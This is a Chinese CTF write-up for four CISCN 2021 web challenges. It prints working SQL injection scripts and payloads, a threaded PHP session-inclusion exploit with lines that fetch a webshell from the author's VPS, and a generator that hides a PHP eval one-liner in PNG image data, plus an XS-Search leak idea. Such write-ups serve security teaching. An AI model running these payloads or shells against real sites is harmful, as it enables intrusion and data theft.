CISCN2021 Web 部分Writeup
easy_source
原题,ReflectionMethod
构造 User
类中的函数方法,再通过 getDocComment
获取函数的注释
提交参数:
1
|
?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment
|
爆破rb的值a-z,在q得到flag:
easy_sql
fuzz:
sqlmap得到表名flag和一个列名id:报错加无列名注入
一开始用按位比较:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
import requests
url = 'http://124.70.35.238:23511/'
def add(flag):
res = ''
res += flag
return res
flag = ''
for i in range(1,200):
for char in range(32, 127):
hexchar = add(flag + chr(char))
payload = "1') or (select 1,'NO','CISCN{JGHHS-JPD52-IJK4O-MGPDZ-DUFWI-')>=(select * from security.flag limit 1)#".format(hexchar)
data = {"uname":"admin",'passwd':payload}
r = requests.post(url=url, data=data)
text = r.text
if 'login<' in r.text:
flag += chr(char-1)
print(flag)
break
|
到最后卡住了,换了无列名注入报错爆列名,然后直接报错注入:
1
2
3
4
5
6
7
8
|
admin')||extractvalue(1,concat(0x7e,(select * from (select * from flag as a join (select * from flag)b using(id,no))c)))#
//Duplicate column name 'e0f1d955-bbba-43c3-b078-a81b3fc4bf28'
admin')||(extractvalue(1,concat(0x7e,(select `e0f1d955-bbba-43c3-b078-a81b3fc4bf28` from security.flag),0x7e)))#
//XPATH syntax error: '~CISCN{JgHhs-jpd52-iJk4O-MGPDz-d'
admin')||(extractvalue(1,concat(0x7e,substr((select `e0f1d955-bbba-43c3-b078-a81b3fc4bf28` from security.flag),32,50),0x7e)))#
//XPATH syntax error: '~uFWI-}~'
|
middle_source
首页给了任意文件包含
扫目录得到.listing
,得到you_can_seeeeeeee_me.php
是phpinfo页面
有了phpinfo可以尝试直接向phpinfo页面传文件加垃圾数据,同时从phpinfo获取临时文件名进行文件包含,或者利用session.upload_progress
进行session文件包含
前者尝试无效果
从phpinfo得到了session保存路径:/var/lib/php/sessions/fccecfeaje/
尝试发现可以出网,虽然ban了很多函数,但是可以直接用copy或file_get_contents下载shell
在/etc/acfffacfch/iabhcgedde/facafcfjgf/adeejdbegg/fdceiadhce/fl444444g
发现flag
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
import requests
import threading
#file_content = '<?php print_r(scandir("/etc"));?>'
#file_content = '<?php copy("http://myvps/s.txt","/tmp/leon.php");echo "666666666";?>'
#s.txt是shell一句话
file_content = '<?php var_dump(file_get_contents("/etc/acfffacfch/iabhcgedde/facafcfjgf/adeejdbegg/fdceiadhce/fl444444g"));?>'
url='http://124.70.35.238:23579/'
r=requests.session()
def POST():
while True:
file={
"upload":('<?php echo 999;?>', file_content, 'image/jpeg')
}
data={
"PHP_SESSION_UPLOAD_PROGRESS":file_content
}
headers={
"Cookie":'PHPSESSID=1234'
}
r.post(url,files=file,headers=headers,data=data)
def READ():
while True:
event.wait()
t=r.post("http://124.70.35.238:23579/", data={"cf":'../../../../../../../../../../var/lib/php/sessions/fccecfeaje/sess_1234'})
if len(t.text) < 2230:
print('[+]retry')
else:
print(t.text)
event.clear()
event=threading.Event()
event.set()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()
|
upload
index.php上传文件,example.php解压zip后缀文件并将解压后的文件重新创建为新图片
第一个点,绕getimagesize
函数获取的长宽限制,文件中只要包含:
1
2
|
#define width 1
#define height 1
|
即可
第二个点,绕过zip后缀中i
的过滤,使用mb_strtolower
函数的特性:
PHP :: Request #70072 :: Add a language avare uppercase/lowercase solution without need of locale change
上传时使用xxx.zİp
,经过mb_strtolower
后存到服务器的文件名变为xxx.zip
第三个点,上传后解压后的文件会被imagecreatefrompng
函数进行重新生成新图片,普通图片马会被该函数给覆盖掉
所以需要利用PNG格式,向PLTE块写入数据,保证在重载后不变
可参考:imagecreatefrom-/png/analysis at master · hxer/imagecreatefrom-
分析底层源码可知, png signature 是不可能插入 php 代码的; IHDR 存储的是 png 的图片信息,有固定的长度和格式,程序会提取图片信息数据进行验证,很难插入 php 代码;而 PLTE 主要进行了 CRC 校验和颜色数合法性校验等简单的校验,那么很可能在 data 域插入 php 代码。
或者根据IDAT块的转换算法,直接向IDAT块中写入转换前的数据,经过imagecreatefrompng
重载后,生成的新图片中出现了可以利用的恶意代码,网上找的exp,有兴趣的可以自己调一调,内容为<?=$_GET[0]($_POST[1]);?>
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
|
了解这三点后,直接进行利用:
因为在比赛中,测试发现PLTE块还是被一定程度的改变,直接用上文的exp写IDAT块,但是题目ban了一堆函数,加上<?=$_GET[0]($_POST[1]);?>
只能单参数执行,并不能拿到flag,所以打算直接静态探究一下PLTE块被转换的规律:
先生成插入了1234567890abcdefghijklmnopqrstuvwxyz!@#$%^&*()_+
字符串的txt,与含有#define xxx
文件一同压缩,注意压缩时选择仅存储文件
相关的选项,这样不会对#define xxx
进行修改,上传后可以正常绕过getimagesize
压缩修改成test.zİp
:
上传成功后解压:
访问test.txt保存到本地查看:
发现如图的位置改变,于是算了一下长度,刚好能写GET的一句话,中间其余字符用注释符注释即可:
最后需要/*
或者?>
注释剩余字符或者闭合都行
1
|
.\poc_png.py -p "*/$<?=_GET/**/[fghijk;/*(/*rstuvw0])*/e$%^val/*+" -o test1.txt .\indexcolor.png
|
按上述步骤上传解压后,成功写入一句话:
蚁剑连上找到flag即可
babyblog
吐槽一下,这个题的bot没有队列,而且单线程,请求半天才给一个回显,凌晨bot被阻塞了,叫客服也没人回,去睡了两小时,起床后有了思路但是来不及了
虽然没法验证思路对不对:(
,但应该没错了,犹豫就会败北
主要注意他给了个搜索功能,测了一下是对大小写敏感的,正常来说搜索功能是大小写不敏感的,加上templates
文件夹下存在模板文件源码泄露,对XSS严格限制了,再加上题目描述,可以想到利用这个搜索功能进行XSLeak,也就是XS-Search,也算侧信道攻击
参考:XS-Search | XS-Leaks Wiki (xsleaks.dev)
根据题目描述猜测flag就在admin的blog页面,可能是title,也可能是content,不过没有区别,利用搜索功能对页面的检索,逐位爆破,成功返回200,传回vps,未匹配返回302跳转,基于此爆破flag
35C3 CTF
的filemanager
题目和这个类似,只不过利用点不同,这里是火狐,那道题利用的是chrome的错误页面chrome-error://chromewebdata/
大概就这么多